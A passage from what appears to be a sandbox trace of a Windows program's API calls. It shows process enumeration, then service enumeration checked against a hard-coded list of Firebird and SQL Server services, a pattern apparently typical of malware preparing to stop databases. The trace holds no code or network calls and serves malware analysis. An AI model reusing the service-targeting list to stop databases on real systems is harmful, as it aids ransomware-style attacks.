th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0168.869] lstrlenW (lpString="stream-test.exe") returned 15 [0168.869] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0168.870] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0168.870] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.870] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.871] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0168.871] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0168.871] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0168.872] lstrlenW (lpString="movers-indication.exe") returned 21 [0168.872] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0168.873] lstrlenW (lpString="drama tv thee.exe") returned 17 [0168.873] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0168.873] lstrlenW (lpString="barriers.exe") returned 12 [0168.873] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0168.874] lstrlenW (lpString="shootclick.exe") returned 14 [0168.874] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0168.972] lstrlenW (lpString="nickel.exe") returned 10 [0168.972] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0168.972] lstrlenW (lpString="imperialopened.exe") returned 18 [0168.972] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0168.973] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0168.973] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0168.974] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0168.974] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0168.975] lstrlenW (lpString="perhapssentences.exe") returned 20 [0168.975] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.976] lstrlenW (lpString="dllhost.exe") returned 11 [0168.976] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.976] lstrlenW (lpString="svchost.exe") returned 11 [0168.977] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0168.977] lstrlenW (lpString="chrome64b.exe") returned 13 [0168.977] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0168.978] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0168.978] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.979] lstrlenW (lpString="conhost.exe") returned 11 [0168.979] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.979] lstrlenW (lpString="cmd.exe") returned 7 [0168.980] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.980] lstrlenW (lpString="conhost.exe") returned 11 [0168.980] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.981] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.981] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0168.982] lstrlenW (lpString="mode.com") returned 8 [0168.982] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0168.982] CloseHandle (hObject=0x360) returned 1 [0168.982] Sleep (dwMilliseconds=0x1f4) [0169.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0169.489] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0169.489] GetLastError () returned 0xea [0169.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0169.490] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0169.490] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0169.490] lstrlenW (lpString="Appinfo") returned 7 [0169.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.490] lstrlenW (lpString="AppXSvc") returned 7 [0169.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0169.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0169.491] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.491] lstrlenW (lpString="Audiosrv") returned 8 [0169.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0169.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0169.491] lstrlenW (lpString="BFE") returned 3 [0169.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.491] lstrlenW (lpString="BITS") returned 4 [0169.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0169.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0169.491] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0169.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0169.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0169.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0169.491] lstrlenW (lpString="CDPSvc") returned 6 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0169.492] lstrlenW (lpString="ClickToRunSvc") returned 13 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0169.492] lstrlenW (lpString="ClipSVC") returned 7 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0169.492] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0169.492] lstrlenW (lpString="CryptSvc") returned 8 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.492] lstrlenW (lpString="DcomLaunch") returned 10 [0169.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.492] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.492] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.493] lstrlenW (lpString="DeviceAssociationService") returned 24 [0169.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0169.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0169.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0169.493] lstrlenW (lpString="Dhcp") returned 4 [0169.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.493] lstrlenW (lpString="Dnscache") returned 8 [0169.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.493] lstrlenW (lpString="DoSvc") returned 5 [0169.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0169.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0169.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0169.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0169.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0169.493] lstrlenW (lpString="DPS") returned 3 [0169.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.494] lstrlenW (lpString="DusmSvc") returned 7 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0169.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0169.494] lstrlenW (lpString="EventLog") returned 8 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0169.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0169.494] lstrlenW (lpString="EventSystem") returned 11 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.494] lstrlenW (lpString="FontCache") returned 9 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0169.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0169.494] lstrlenW (lpString="gpsvc") returned 5 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.494] lstrlenW (lpString="iphlpsvc") returned 8 [0169.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.494] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.494] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.495] lstrlenW (lpString="KeyIso") returned 6 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0169.495] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0169.495] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0169.495] lstrlenW (lpString="LanmanServer") returned 12 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.495] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.495] lstrlenW (lpString="lfsvc") returned 5 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0169.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0169.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0169.495] lstrlenW (lpString="LicenseManager") returned 14 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0169.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0169.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0169.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0169.495] lstrlenW (lpString="lmhosts") returned 7 [0169.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.496] lstrlenW (lpString="LSM") returned 3 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0169.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0169.496] lstrlenW (lpString="MpsSvc") returned 6 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.496] lstrlenW (lpString="NcbService") returned 10 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0169.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0169.496] lstrlenW (lpString="netprofm") returned 8 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.496] lstrlenW (lpString="NlaSvc") returned 6 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.496] lstrlenW (lpString="nsi") returned 3 [0169.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.497] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.497] lstrcmpiW 